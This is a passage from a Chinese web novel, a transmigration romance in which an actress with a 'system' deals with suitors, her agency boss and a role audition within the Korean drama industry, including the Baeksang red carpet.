没有理他，宋玉妍自顾自地往前走，已经结束了拍摄任务，这下班不积极就是思想有问题。 “首尔时装周我有一场走秀，你要来看吗？”金宇斌正了正神色道，从兜里掏出折过的邀请函。 裁剪得体的校服在他身上显得很贵，金线勾勒的板正校徽和他痞气的外表形成反差。 宋玉妍今天的黑直发看起来十分顺滑，阳光下泛起的光泽很是好看。 风吹过来，几缕逗留在他的制服上，然后分开。就算剪了个乖巧的齐刘海，但不笑的时候依然显得整个人十分清冷。 她的丹凤眼里写满了不耐，面色冷漠地直接掠过他，“不去！” 首尔今天的风格外温柔，春末夏初，温度也刚刚好，风速也刚刚好。正好到可以微微撩起头发和裙摆，又不至于把发型弄乱，让人尴尬。 金宇斌止不住地偷看她，脸色微红。只觉得她如果来模特界，走上米兰、巴黎和伦敦的秀场，凭借美貌就是在为国争光。 看着他难以掩饰的害羞，宋玉妍还有什么不知道的。她伸出纤细嫩白的手，朝他招了招，示意他贴近一点。 一米九个子的男人，乖乖地俯首弯腰，空间都开始变得逼仄起来。他宛如一个只想和主人贴贴的大型猎犬，缰绳只在身边人手上。 “我虽然喜欢年下的弟弟，但是你呀！不在我的考虑范围内哦！”她轻轻在金宇斌的脸上拍了两下，笑眼盈盈地说道。 他被迷得五迷三道，脑袋已经开始晕晕乎乎了，完全没有听清楚宋玉妍在说什么。 仅有的力气只能让他一边点头，一边毫无抵抗力地附和着她。到最后甚至和醉酒了一般，完全不知道自己是如何离开的。 可惜了！可惜她对金宇斌是真的没什么兴趣，他就像是没有香味，长得也不符合她审美的花。 这两个星期李正宰很默契地没有再找过她。原本两人还是偶尔约饭的饭搭子，偶尔他在首尔，宋玉妍也不忙的时候会如普通情侣一样，出去吃个饭。 她看着每天系统给她播报对方的好感度，犹如绿色的股票，一点一点地下跌。 就算是这样一点都不着急，每天除了在剧组赶工，空余时间就是拾起原主自带的绘画技能。 在通告没有那么密集的时候，和李智真还有崔玉珍一起找地方露营。 经纪人负责包办食材，助理负责搬运工具以及开车，她当然只负责吃和写生。 倒是郑宇盛看到自家兄弟日渐消瘦，神色一天比一天郁郁寡欢，忍不住给她发消息。 「你们之间是出了什么问题吗？李正宰这几天除了要拍戏的时候，几乎烟酒不离手。他很久没有这样酗酒了。」 刚对着日落架好画板的宋玉妍，看到是他的消息，立刻回复道：「我只是犯了一个全天下女人都会犯的错罢了。」 第34章 第三十四章 从京畿道的露营基地回来，宋玉妍感觉晦暗的心情一扫而空。也许是无缝进组，这几个月都是在剧组待着，她一身班味。 露营时清爽的微风、不燥的空气，带着土腥味的森林，还有日落时天空布满的金黄色光晕。那里的一切让她觉得对生活好像又重新充满了电。 重新回到《继承者们》们剧组，因为不着痕迹的推拒态度，总算没有人三番两次地找她对戏。 宋玉妍在剧组也就和金宇斌、郑秀京交换了私人联系方式。只不过前者靠孜孜不倦的舔，被烦透了的她直接给他一串数字打发走了。 后者则是因为可爱的性格，从sm那个公司出来的爱豆，性格不好的早就被教训了。 《继承者们》第一集开播收视率就破了20，稳压另外两大台。同期开播KBS的《漂亮男人》完全被踩在脚下。 收视率一出，SBS就忍不住直接开庆功会。尤其和导演指名让宋玉妍一定要参加，两部接档的水木剧她都是女二，难免让人联想到她旺剧，尤其旺SBS。 不然宋玉妍其他的剧怎么没有爆呢？ 听到导演和她说要参加庆功宴，还是这样离谱的理由时，宋玉妍只觉得哭笑不得。半场开香槟，也不怕翻车！ 裴永俊倒是很积极，每到这种能够拓展人脉关系的时候，他一向很感兴趣。 “你看看有没有喜欢的香奈儿，喜欢哪一套到时候公司给你报销，直接订好了。”电话里，他的笑意止都止不住。 最近keyeast赚了点小钱，《隐秘而伟大》他也投了点，票房分账分到了不小的数目。 宋玉妍捏着电话，有些错愕。虽然说裴代表没有像李炳宪那群人那样抠，但向来还是精打细算地过着日子。 “今年香奈儿的度假系列和春夏系列的成衣都很丑。” 要么是大片大片的图案，要么是让人看不懂的裁剪和拼接。虽然老佛爷才华横溢，但是他今年的风车系列她是真的无法欣赏。 她才不要穿那 些丑衣服呢！ “你不会想要高定吧！”裴永俊倒吸一口凉气。 要知道南韩演员走红毯能借到轻奢品牌的礼服都已经很不错了。参加活动能穿公司提供的高奢成衣都是凤毛麟角了。 “高定就算了。” 这一季的高级定制也不好看，而且还贵。可能时尚圈的审美和她的审美就是有壁垒的。也不是什么很重要的活动，穿自己的西装裙去，已经很正式了。 这半场开香槟的庆功宴被定在江南区的高级会所。本来宋玉妍是想自己带着助理打车过去，没想到老板又开着他那过时的迈巴赫来接他。 裴永俊打量着自家艺人穿着。今天穿着藏蓝色的西装短裙，腰部微微抓褶的设计把她腰掐的更细了。圆弧的领口里面搭了一间深蓝色的衬衫，伊顿领把她修长的脖颈遮掩了三分之一，看起来略带禁欲。 “很漂亮。”他的目光里满是纯粹的欣赏。看着对方坐上车，大腿侧处白腻的肌肤若隐若现，又有些烦躁地皱起了眉头。反身从后座处扯过叠好的毯子，盖在宋玉妍身上。 “等会开窗吹风容易冷，你别生病了。” 宋玉妍略微整理一看，和上次在电影院盖的是同一个牌子。她只是略微夸了几句触感很好，没想到裴永俊居然会放在心上。 这样高情商又体恤的老板，应该没有艺人不想合作了。 “谢谢老板。” 看着她感激的眼神，裴永俊久违地有些紧张到口干舌燥。差点连油门都找不到在哪里。 到地方之后门童拿上车钥匙，帮忙泊车。宋玉妍跟在老板后面，进入包间的第一时间被这略带暴发户气息的装修给惊到了。 装饰大部分都是金色，就连法式风格最标志性的石膏线也变成金色。夸张的浮雕和随处可见的圆拱形状，让宋玉妍紧闭了一下受到审美霸凌的眼睛。 “来了来了？”黄胜日脸上的笑容都抑制不住了，今年他负责的水木剧先是迎来了《主君的太阳》收视率的开门红。 然后又有《继承者们》把另外两个台同期剧压的喘不过气了。就算KBS背后有国家背书又怎么样？ 掌握遥控器的观众，可不会关注谁的背景更加强硬。 宋玉妍看着对方油腻的表情，心理有些不适。上一次对方没有把她放在眼里，这次一打照面，他打了摩丝显得更加稀疏的头发和快要把西装扣子挤开走样的身材就和这个房间恶毒的装修一样差劲。 更让人恶心的是他看物件的视线，带着情｜欲的目光像是匕首，想要把她身上的衣服剥光一般。 裴永俊察觉到宋玉妍的不适应后，用他的身体帮忙挡住了对方大部分的目光。手往回撤，像是把她圈在自己的领地。 “托您的福，我家艺人出演了SBS两部剧，现在在圈内也算得上是略有些名气。老板还是那副见人三分笑的模样，一番话既抬高了自家艺人，又把对方捧的高高的。 “没有您那么费心地三番五次去拜访那两位作家。这两部剧怎么会落到SBS台？要我看，你们部门今年的绩效有一半都得感谢您！” 黄胜日听到这番话，脸上的笑容都快咧到耳边。骄矜里还是要做出一副谦虚样子。“哪里哪里！不过是承蒙领导们的厚爱罢了。” 宋玉妍看到他这样扭曲的表情，当下就没了兴致。唇边的笑容越发僵硬，头垂得恨不得自己不存在。 “裴代表，你们这个演员找的好！我看旺剧！尤其旺我们SBS的剧！” 裴永俊一愣，但还是接道：“可不是嘛？之前也拍过其他的本子，包括在忠武路都没有火。偏偏演你们台的剧，演一部爆一部。” “正好，今天我们常务也在，我干脆就引荐一下？”他用自己那肥腻的粗手去够宋玉妍如凝脂一般的手腕肌肤。 老板脸上的笑容僵住了，给捧了几句，有些人就不知道自己几斤几两，飘到天上去了。真的是给他脸了！ 他连忙把对方的手拉开，脸上堆起刻意的笑容，“宋玉妍可是我们公司的非卖品，还指望她以后能帮我赚大钱！” 不动声色地把两人隔开，又从侍者手里拿了一杯香槟塞到黄胜日手中。“你是不知道，我找风水师看过，说她八字旺我，我现在恨不得把她供起来。” 说完，裴永俊朝她使了个眼色，让她自己离开，剩下的事情交给他。 看到他这样护着这个艺人，黄胜日也不好强求。收回手尴尬地笑了笑，故作兴趣道：“哦？哪个风水师说的？灵验的话把宋玉妍的八字给我，我也去合一下。” 裴永俊脸色一僵，他哪搞过这些歪门邪道，只能随便扯了。“奉恩寺的大师说得……” 宋玉妍去洗手冲水，足足打了六遍洗手液，却还是觉得，手那处的污浊没有洗干净。 露台外，对面大厦的落地窗上映照着一弯弦月，夜色如水，清绝又温柔地守护着首尔这方钢铁森林。窗外的静谧和屋内的喧哗浮躁形成鲜明的对比。 她静静地站这吹风，从包里拿出银色镶嵌着花卉的金属烟盒，从中抽出一根细长。并没有点燃，只是静静地放在手中把玩。 如果每次都需要用尼古丁来平复不佳的情绪，迟早会沦为烟草的奴隶。 沉稳的脚步声由远及近地传来，宋玉妍不着痕迹地蹙了蹙黛眉，为有人打破这一方的宁静而不适。 切尔西靴鞭笞着地面，嗒嗒作响。她缓缓转过身，发现来者走着均匀的一字步，双臂摆动的幅度有种特殊的美感，让人恍若置身于高级时装周的秀场内。 “宋玉妍xi？”金宇斌惊喜到眼睛从细长瞪大成溜圆，之前在会所里转了两三圈都没有发现人影。没有想到出来抽根烟的功夫，就这么巧合地偶遇了。 看到来人是他，宋玉妍又转过身去，倚着栏杆欣赏这难得一见的月色。 看到她的手中捻着香烟，金宇斌殷勤道：“没有带打火机？要我帮你点烟吗？” 西裤包裹着他紧实又笔直的长腿，微弯的腰让西装折出恰到好处的弧度，夜风为他额边的碎发捋起帅气的弧度。 “不用了，我就是透透气。” 看到她没有点烟的打算，他也默默抑制住了自己的烟瘾。想到经纪人也赞同他恋爱的态度，他心底为接下来要说的话燃起隐蔽的欣喜。 就算是初夏，刮来的凉风也还是会吹得人头晕目眩。宋玉妍把浅蓝色的衣领往上提了一提。有些懊恼为什么不把车里的毯子带过来，至少能帮忙挡挡风。 身旁的人见状，准备把身上的西装扣子解开，准备把外套脱下给她披上。一个袖子才褪到半截，就被拦下来了。 “你这套阿玛尼西服成衣是借的吧！”宋玉妍摆了摆手示意他赶紧穿上，“到时候有什么损伤不好和品牌方交代。” 金宇斌默然，他知道对方说的是对的。还没有在电视剧圈站稳脚跟的情况下，时尚圈作为基本盘不能随意对待。 夜风吹拂着两人的衣角，一时情浓，他的眼里盈满了灼热的真挚。鼓足了勇气，缱绻道：“或许？！宋玉妍xi会考虑我做你未来的另一半吗？” 第35章 第三十五章 “这不是权衡利弊的选择，而是我见到你第一眼时，心脏在疯狂跳动，告诉我就是你了。你看向我时的眼神，没有那一份意乱情迷。但我还是想赌那万分之一的可能性，你能垂怜。” 他像是吟游诗人一般，说出这样的一番话。望向宋玉妍时的眼神坚定又痴迷。 少年人的对爱情的赤忱与直白，会让月亮都为之动容。就连这方露台里的月色，比其他地方都要皎洁三分。 宋玉妍很感动，然后更加坚定地拒 绝回去了。 “我有喜欢的人，所以我不得不用最直白的语言来回报你最大勇气。”她看向她的眼神中有包容、有理解、甚至带着一丝不易察觉的宠溺，却惟独没有爱意。 “好吧。”金宇斌故作潇洒地耸了耸宽厚的肩膀，退场时的一字步是不负韵律的整齐，透着一股黯然神伤的味道。“祝你有个愉快的夜晚！”他摆了摆手，剧里剧外都像是一个不完美的黑骑士。 她好像知道金恩淑作家为什么一定要他来演崔英道了。金宇斌和这个角色，真的很贴，在灵魂层面上有些高度一致。 手机的震动把宋玉妍的思绪唤回，打开屏幕一看，老板给她拨了7、8个电话。她划开屏幕。 “地下车库，C区第二排这里。怎么和帅哥谈心直接把老板撇到一边了？”裴永俊在电话中似真似假地打趣抱怨着。 “我以为会续摊，没有这么快结束。”宋玉妍看了下时间，发现两人满打满算也就待了不到一个半小时。 南韩的企业聚餐文化想来都是三轮，第一轮吃饭喝酒，第二轮KTV或者酒吧，第三轮布帐马车。可以从前一天晚上七八点开始，到第二天早上四五点结束。 看着有些公司的职员，每天这样应酬交际，早上起来还要健身，健完身之后再来上一杯冰美式接着上班。 她只觉得按照这样的作息，超度比上班更快一点。 “有地位的都走了，剩下的人交际起来也没有意思。” 裴永俊永远只会琢磨着向上社交，自信就没有自己挤不进的圈子。“后面两轮的场所带你去不合适，不如早点回去休息。” 宋玉妍看着指针离九点都还差点，心底一片感动。虽然这一次地狱开局，但是签到keyeast是真的很幸运了。 “代表nim，我要为公司做牛做马一辈子来报答！” 裴永俊对她的甜言蜜语不予评价。“你现在赶快下来就是对我最好的报答了，后面再多接点商务给公司赚钱，我就谢天谢地！” 这层车库中，豪车玲琅满目，让人看得目不暇接。宋玉妍找到那辆有些过时的迈巴赫，等拉上副驾驶的安全带后，还未等车子启动。 裴永俊：“你和李正宰是闹矛盾了吗？最近他都没有打探你的近况了？” 她有些错愕，“他什么时候打探过我的近况？我从来不知道！” “从你签我们公司开始吧！他经纪人给我们前台工作人员办了一张咖啡卡，我们的下午茶都被包了。”但这张卡已经两个星期没有续费，这话他没有说出口。 双手相抵，她把手放在锁骨前，手指在衣领上摩挲着。眼底的神色复杂，只是被又长又密的眼睫毛给掩盖住了。 “有得时候该哄还是得哄。”裴永俊颇有些站着说话不腰疼地建议道。 宋玉妍有些无语地瞪了他一眼，看他打算自己驾驶车辆。立刻制止道：“你刚刚不是喝了酒吗？怎么不等助理来开车？” “一杯香槟而已！” “那也不行，我们只是普通的上下级关系，还不至于一起玩命。”她当机立断地把人的车钥匙拔了，然后放进自己的包里。 裴永俊拿她没办法，自家助理请年休了。“那我们打车回去吧！反正不远。” 两人在路边等车时，有点像是在拍古早偶像剧的既视感。90年代末对男主的颜值要求没有那么高，制作团队更看中主角身上独特的气质。 他们在密闭的空间相处的时间更多。到了这种开阔的路边，周围人来人往的地方反而一时间不知道如何开口。 “你明天要赶早戏吗？” “不，我的戏份是下午开始。”宋玉妍拢了拢被风吹乱的毛毯披肩，这还是下车时对方强烈要求她披上的。 “那要不去汉江边上散散步，喝一杯？”他不知为什么，内心忽然浮现出这样的一个念头。 到了他现在的这个年龄，财富、地位对他来说唾手可得。很难有像这样的一时冲动了！所以没有抗拒这种久违的体验，而是顺应自己的潜意识发出了邀请。 她粉唇微启，原本上挑的丹凤眼被瞪像猫眼一样圆。“我们这……有点太暧昧了吧！” 汉江散步，再配上炸鸡啤酒或者是鱼饼拉面，这不是韩剧里男女主定情的老套情节吗？ 裴永俊没有回答她的问题，而是招招手打了一辆出租车，然后帮她打开了副驾驶的车门。“你有些晕车，想玩手机的话，坐前面会舒服很多。” 夜晚的出租车司机总是把车开得很快，像是迫不及待要去赚下一单的钱。 如同一个鲱鱼挤进打满黄灿灿的车灯、如沙丁鱼罐头的车流中，又连闯两个黄灯，从罐头中脱身而出。 塞车的情况下，半个小时的路程在司机神乎其神的车技下，缩短为十几分钟。 到了地方后，这边草木茂盛，植物的香味中夹杂丝丝像是消毒水的臭味。混杂在一起，闻起来让人有些不适。这边黑黢黢的，路灯白色的光晕也并不眷顾这里。 难怪是爱豆秘密约会时，公认的好去处。宋玉妍感叹能在这里抓拍到恋爱证据的狗仔，就职于小报实在是有些屈就，他们更应该去军情处或者青瓦台上任。 “你在这里等我一会，我去便利店买店东西。”裴永俊扯了扯自己领口有些束缚的领带。 不出挑的灰蓝色西款，仔细看才发现用银线暗绣着不规则的图案。 她点了点头，抱着胸站在原地看着对方步入便利店的背影。有些想不明白，老板是什么时候对自己起的心思。娱乐圈里长得漂亮的女艺人如同过江之鲫。 宋玉妍自认即不算绝顶聪慧，也不算性格有趣，只有一张脸勉强能拿得出手。 没有让她等太久，裴永俊从便利店出来手里抱了满怀。 看着他原本笔挺的定制西装，如今口袋被塞得鼓鼓囊囊，她就咬着唇乐不可支。想想原本挥挥手就能让小的娱乐公司天凉王破的霸总，这幅形象很是滑稽。 “便利店恰好没有袋子，我抱不过来。” 解释一句，换来的是对方更加放肆的大笑。他有些无奈，眼底却是甘之如饴的宠溺，从西装口袋里抽出防蚊喷雾。 “水边蚊虫多，你喷点别被咬了。” 宋玉妍接过对方的一片好心，给自己白嫩的大腿肌肤均匀喷上，薄荷带来一阵清凉。 看她膝盖窝不太方便弯腰喷上，裴永俊轻轻俯下身体，帮她补喷。等迷迭香和薄荷的味道消散在空中后，他把喷雾插回西装的口袋。 给她买的是桃子酒，度数不高只有8度。瓶盖早就帮她打开，然后递了过去。 宋玉妍接过之后，浅啜了一口，不太像是酒更像是果汁。那种熟透了水蜜桃在口腔把汁水爆开的味道，酒精微微的辛辣敲到好处地中和了甜腻。 沿着水边的石子路，两人慢慢往前消磨着时间。一时间只剩一口一口的啜饮声，能这样感受夏日万分的闲暇，并不多见。 宋玉妍从未和老板离得这么近，近到可以闻到对方身上的香水味。 清新又蓬勃的橙花味和尾调的木质香，像是带着甜的皂味。闻起来不羁的味道和他成功的商业精英形象大相径庭。 找到了一个长椅可以坐下，两人并排而坐，中间隔着一拳的距离。与空气中盘旋着一丝旖旎的氛围不同的是裴永俊接下来的话。 “在你眼里我看不到野心了！”他把架在鼻子上的金丝眼镜取了下来，卡在放领巾的口袋上。 “我第一次见你的一瞬间，就想把你签下来，那个时候你的头昂的很高，眼睛里满是对成功的欲望。仿佛在说签下我，我能给你拿三个青龙。” 裴永俊那时就觉得，有那样野心的人，就算在忠武路摔倒过，后续不管做什么都不会太糟糕。 那现在呢？ “现在你和身边那群男艺人周旋太久了！你扪心自问，有把精力放在演戏上？”他叹口气，把宋玉妍的后顾之忧都解决，就是希望她能专心演戏。 听到这里，她的手脚发冷，像是被当头一棒喝，清醒了过来。来这个世界之后，她把太多的时间花在男人身上，以为这是对系统的反抗，其实是在消耗自己的能量。 对于演戏也失去了以往的热爱，两个重要的女二都是在凭感觉演。她演技 停滞不前很久了，所谓的反抗也是为自己的懒惰找的借口。 “所以安心赚钱吧！男人可能会背叛你，但世宗大王一定不会！” 第36章 第三十六章 就连裴永俊自己都不能保证对宋玉妍的兴趣会一直持续下去，到那个时候他还会对她如此尽心尽力吗？ 她深吸了一口气，“谢谢老板的提醒。” 宋玉妍决定了，就从今天开始每天都来拉一部电影，优秀的片子那么多，总有一天会有质变的效果。 裴永俊重新把自己的眼镜戴上，笑眯眯地说道：“不谢！”只是他的眼神怎么看怎么都不怀好意！ 在他看来今晚在露台上和她表白的年轻男艺人，不过是受公司摆布的可怜商品罢了。而李正宰，和其他演员比起来稍稍有话语权，但归根究底还是个棋子。 没有自己的公司，艺人所谓的自主权就是个笑话。 韩孝周除外！ “你可是我费尽心思想捧起来的艺人，小心别被一些不怀好意的男艺人给炒cp吸血了。有些年纪大的，心思很花，玩玩就好，不要放在心上！” 宋玉妍一罐果酒喝完，他的啤酒还剩半瓶，两人的脸上都带上了酡红。 空气里都是让人炫目的酒精香气，随着呼吸进入体内的细胞，让人忍不住沉醉。 “你先回去吧！到家给我发个消息，我再坐一会！”裴永俊觉得自己今晚的话太多了，有些懊恼地撑着脑袋，扶着太阳穴。 从他之前去日本自己一个人打拼开始，他就决定要做一个尊重他人命运的人，不对其他人的人生过多评价。 也许是今晚的月色太过美好，让人久违地怀念起年轻时候。就像是腐烂的花朵遇见了属于它的春和景明。 “所以打车费报销吗？代表nim？”她有心想要缓和一下尴尬的气氛，故意慢吞吞地起身然后收拾东西。 “keyeast还没有破产，打车费你找财务报。少逗人家金秀闲，我们公司上上下下几十号人就指望他赚钱吃饭呢！”裴永俊微微侧头，有些无语，为什么在宋玉妍那里会留下一个公司很穷、他很抠门的印象？ 快回去吧！让他彻底克制住心底的欲念。他背着身体，朝宋玉妍摆了摆手。 “内！”她踮起脚尖，黑色的一字细高跟鞋小心翼翼地趟过路上茂盛的草木。 回首望向对方的背影，只有弯月和指尖缭绕的烟雾陪伴着他，有一种孤寂的感觉。 转念一想，人家住着平层豪宅、开着迈巴赫、公司大头的股份在自己手。早就实现了财富自由，可怜的人是她。 —— 在剧组的空闲时间里，宋玉妍开始看下一部剧本，SBS把准备开的台庆剧《来自星星的你》剧本递到了她的手里。 好消息：这是个好饼。 坏消息：这次给的又是女二。 黄胜日可能真的是去找巫师算过，仿佛对方已经笃定地告诉他，新开项目，女二用用宋玉妍一定错不了。 她安安静静地看了整个剧本，舒了一口气。如果饰演刘世美的话，对她来说加成不算大。毕竟宋玉妍已经不是需要在观众面前混脸熟的程度了。 这个角色弧光不够，又是作为女主的对照者出现，不是很讨喜。 况且以她的长相去嫉妒女主没有说服力，观众会很出戏。最后只有一种结果：就是给女主让妆！ 顺滑的纸页被她折了一个角，她在手心摩挲着，这是看纸质剧本时的一个小习惯。最后还是决定打电话给裴永俊。 苹果自带的铃声只播放了一小节就被接了起来。 “是终于要去参加商业活动，要开始为公司赚钱了吗？”老板的声音里透露着欣喜，转型成商人的他，每天的乐趣就是看到自己黑卡里的余额增多。 “阿尼！”宋玉妍咬了咬红菱一般的下唇，“今年SBS的台庆剧，我想演。” “剧本应该给你看过了，我觉得也可以，直接接吧！就是你会幸苦一点，一年三部剧。” 她知道裴永俊肯定比她更先知道，《来自星星的你》中的刘世美几乎是已经被她内定了，自家公司在其中应该出了不少力气。 “我想演千颂伊！我要这个角色。” 老板没有立刻答复说好还是不好，他此刻的沉默显得格外为难。 “你知道的，SBS对这部剧很看好，也在全力争取全智贤。一旦对方确定参演，《星你》的剧组会直接把庆祝的香槟买好。” 宋玉妍领会到裴永俊话中的意思，简单来说就是希望不大。不管是从咖位上还是从国民度上来说，全智贤就是比她更好的选择。 “能不能约作家见个面？”她不想放弃，想用演技去打动主创人员。如果还不行的话，看着通讯录里那一串数字，就只能用别的办法了！ 他在电话那头叹口气，虽然很想让自家艺人清醒一点，但这已经清醒到过于勇敢了。 “我到时候沟通一下吧！” 百想艺术大奖早在一个月之前，就在官网公布了入围名单，《主君的太阳》赫然在列。 裴永俊顺便千叮咛万嘱咐要宋玉妍穿的好看一点。一个她一个金秀闲，可是keyeast现在的台柱子。 这张脸用的好可以带动整个公司艺人的时尚资源飞升。 她也不和老板客气，挑了件香奈儿的经典小黑裙，搭了同品牌一套珍珠饰品。 看到卡里被刷了两千五百多万韩元，裴永俊打定主意要让她多接一点商务了。 百想颁奖礼前一天，宋玉妍就被拉到清潭洞的一间美容室，从头到脚都被打理了一遍。 第二天两点钟又到了昨天的那家美容室，宋玉妍把今天走红毯的look换好后，等着化妆师来给她化妆。 等化妆师开始画眉毛时，她有些疑惑地挑了一下眉毛。今天定下的风格基调是摩登复古，又浅又平的韩式一字眉就显得有些不合时宜了。 “麻烦眉毛帮我换成欧式小挑眉，底妆雾面一点，眼妆只要把轮廓打好就行不要太浓。” 宋玉妍拿出自己带的干枯玫瑰色的口红，让化妆师等会帮她唇部勾勒地哑光又饱满。 化妆师很少尝试这种风格，只能一遍调整一遍和艺人沟通，就怕对方不满意没有了下次合作的机会。 整个妆面持续了一个半小时，发型师帮她加上发片，头发就变成了又长又多的复古卷发。发型的巧思是鬓边两缕做成了手推波浪的形状，右耳别了一朵白色的山茶花。 完成后，化妆师不可置信地看着镜子里的作品。浓颜第一眼的冲击力袭来，让人简直挪不开眼。 她在思考，以后到底是跟随主流大众的审美随遇而安，还是尝试更多不同的妆容。 “你看，偶尔和大众背道而驰，也别有一番趣味不是吗？”宋玉妍把充当腰链的项链系好，侧身轻柔地说道。 等待区早就有剧组其他的工作人员在工作了。电视剧作品的主创总是要比入围电影的主创早一些走红毯。 当她挎上徐仁果的手臂时，整个剧组的人都向她行注目礼。 今天的宋玉妍就像是长在人间的一朵富贵山茶花，美得让人挪不开眼。 徐仁果知道她好看，没想到抛弃之前在剧组的素颜和烟熏妆，她的美貌拥有夺去人呼吸的本领。 “很漂亮！” “你西服也很称。” 两人又是异口同声，倒是把两月未见的陌生感一扫而空了。宋玉妍说着俏皮话，“我今天没有带手包，恐怕等会补妆的口红要在你那里寄存一下。” “当然没有问题！”他是不会拒绝对方这小小的请求的。 随着整个剧组走向了红毯，除了刚开始媒体把摄像 头对准了导演和男女主。后续所有摄影师都没有吝惜菲林，闪光灯对着宋玉妍闪耀，把这一片照得恍若暗室里的太阳。 不少曾经的剧粉，尤其是磕过他们两个cp的观众，在电视台前看到这一幕都直呼最强售后。《主君的太阳》里，这两个角色最后也是携手走红毯。 她身上的颜色只有黑白，但就是莫名地让人挪不开眼。一袭黑色和红毯上的红色形成极致反差，颈部空空，线条优雅又美妙，倒是腰上圈着一串圆润的淡水珠，露出的肌肤是白透明的，像是温润的瓷器。 摇曳生姿中，飘荡的黑色裙摆恍若花瓣盛放。一颦一笑间让人置身于20世纪处的香榭丽舍大街，一窥那个镀金时代的优雅繁华。 记者区的摄影师只觉得，一眨眼，人就飘然而去。又不能让人返场，这是对后面艺人的不尊重，只能快速翻看自己单反中的内存。看看照片是不是美的！ 在主办方为剧组准备的待机室里，大部分艺人都把视线放在宋玉妍的身上，包括孔孝真。 宋玉妍有些难受，因为裙子的原因，她不能久坐。在待机室里站着又闷又累，她和众人打过招呼后，选择出去透透气。 还没有决定方向，鞋尖就自觉地指向了吸烟室。她有些无奈，但还是迈着优雅的交叉步，往那个走去，路过右手边第三个待机室，就迎面撞上了《新世界》剧组。 她先礼貌地和前辈打招呼。 等其余人都走了，黄正民知道宋玉妍和李正宰的关系。想要为两人制造见面机会，就强忍着尴尬留下了和她尬聊。 “许久不见！” 黄正民看着剧组其他人员走远的背影松了口气，给了身边好搭档一个眼神，示意对方快上。 宋玉妍有些摸不着头脑，她和这位前辈从来没有过交际，谈何许久不见？ “《新世界》有看过吗？有没有什么印象深刻的片段？”看着李正宰无动于衷，他只能硬着头皮把话接下去。 这两人今天是怎么了？之前他在剧组碰到两人打电话，不是连话都说不完吗？ “唔……”她思考了一下，用字正腔圆的中文说道：“瘦瘦巴巴的老爷们一起走啊！”话是对着黄正民说的，眼睛看向的却是李正宰。 只是他视线根本不和人对上，仿佛两人只是关系冷漠的前后辈。他单手插在西装兜里，垂着眼皮，表情阴郁。 第37章 第三十七章 黄正民也被这句台词给逗笑了，看来对方是看了很多遍，不然这句拗口的中文怎么能发音如此标准。他用手碰了碰身边人的手肘，示意他快说话。 这是他女朋友！机会都给了还不抓住？看到两人同时微微撇头，一直不看对方。 他这才反应过来这是吵架了？ 不想掺合小情侣之间的情趣，黄正民意识到自己好像好心办坏事了。他想要回到自己的待机室，但宋玉妍偏偏不给他这个机会。 “黄正民xi，你的演技真的完全大发，为什么会出现丁青在刚下飞机时，穿着拖鞋配意式西装的设计啊？” 他解释说是基于人物性格设计的一个小巧思。在演戏方面，他向来不吝啬于和后辈分享，所以也不好意思主动先提出离开。 李正宰只感觉她在装模作样，锃亮的鞋尖挪到与她相反的地方，伸手摸了摸脖子，心下不耐，只觉得两人的交谈声格外刺耳。 他看到了，今天的宋玉妍很漂亮，可以惊艳忠武路的那种漂亮。 只是想到她对黄正民演技一句又一句的夸赞，连眼风都没有施舍给他一个，就十分心烦意乱。 头撇到走廊的另一边，好像对两人的谈话一点都不感兴趣。只有右手插在西装兜里的手指从并拢到合上，泄露出他内心的不平静。 “还有用雨水洗脸那一幕也绝了！简直就是可以进东国大学演技教程的程度！”宋玉妍带着真心实意地恭维道。 能把一个黑｜帮角色塑造得如此有血有肉。把角色灵魂底色，依靠自己精湛的演技和动人的情绪解刨到观众眼前，这份功力已经是忠武路演技的天花板了。 在话剧界蛰伏数十年，一有合适的角色就交出满意的答卷，只有对表演纯粹而极致的热爱才能做到。 看着李正宰黑沉的要滴下墨的表情，明明是站着的黄正民体会到了如坐针毡的感受。他找了个理由匆匆离开，把地方让给他们两个。 留下的两人都没有什么反应，李正宰更是没有什么话和宋玉妍说的。 这些天看着她和别的男人拍情侣杂志，首尔时装周有人在后台给她献殷勤，她老板对她的爱护也在圈内传遍。 电影院内，裴永俊给她盖上毛毯的那组图他也刷到了。 如果这不是他前女友，李正宰都觉得这是一对壁人了！转型成功的公司代表和旗下美艳大明星，网友觉得氛围很好，甚至认为这两位之间的cp感，比他们之前合作过的所有演员都要强。 更可气的是，李正宰发现对方给她盖的毯子居然还是爱马仕的！她到底和多少人说过想要那支包？ 宋玉妍则是不动声色地在观察他，看到对方的微表情之后，就对今天哄他这件事有了九成把握。她在心里暗笑，看似不动声色，实则更像是欲擒故纵。 他抬脚就走，从她身边掠起一阵风，眼神都没有给予一个。 「完了，宿主你是不是翻车了？感觉他是真的死心了！」系统有些幸灾乐祸，能够看到无往不利的宿主吃瘪，它也是喜闻乐见的。 没有回应系统，她只是默默地记下了李正宰所在的待机室。 回到剧组的待机室，她只觉得憋闷的慌，三十几平的空间里，挤了十多个人。 室内的温度都因为二氧化碳浓度过高而上升了0.9摄氏度。宋玉妍抱着胸站在角落，并不参与进话题，总有种大家都会陪跑的错觉。 只有徐仁果注意到她因为通风不好，已经红透的脸颊。 “你还好吗？” 宋玉妍正垂着头看着老板给她的短信回复。 《星你》的作家和电视台的高层还是希望全知贤能出演，暂时不接受其他演员的试戏。心底很是失落，有种不知改如何使力的无力感，所以没有第一时间回他。 憋闷的心情加上室内令人窒息的空气，这让她的心情一直往下坠。如果连试戏的机会都不给，应该如何争取？ 等她情绪调整过来后，嘴角重新弯起营业性笑容的弧度。“阿尼！” “崔玉珍，你从后备箱把我上次露营落在车里的东西拿上来。”宋玉妍出门换了个稍微安静一点的地方，打了个电话和助理交代了一番。 回到待机室后，对上徐仁果有些担心的眼神，她朝对方安抚性地笑了笑。 等助理开始敲待机室的门，宋玉妍接过对方手中包装好的物品，然后离开待机室。 清脆的高跟鞋声在嘈杂的走廊上回荡，小幅度地扭动着腰肢，更显得风情万种。 到了李正宰的待机室前，她看到站在门口的权相俊，用葱白的食指放在红唇边，示意他嘘声。 没有敲门，直接推门而入。把手里的东西先搁置在门边，看向坐着的人。 里面的人正单手放在扶手上，撑着下巴，漫不经心地看着正对面的电视机。桌上是摆好的水果拼盘和散乱的杂志，翻动的痕迹表示之前有人心浮气躁地翻阅过。 看到她进来，他也只是掀起眼皮，悠悠地看了一眼，没有丝毫的反应，整个人八风不动。 宋玉妍踱步过来，摇曳的身姿显得更加婀娜，在他身边坐下。 两人之间离得很近、很近。 她勾手用柔软的双臂环住李正宰的脖颈，浅浅摩擦了一下，粗糙的领子质地让她手臂内侧就泛起了微红。 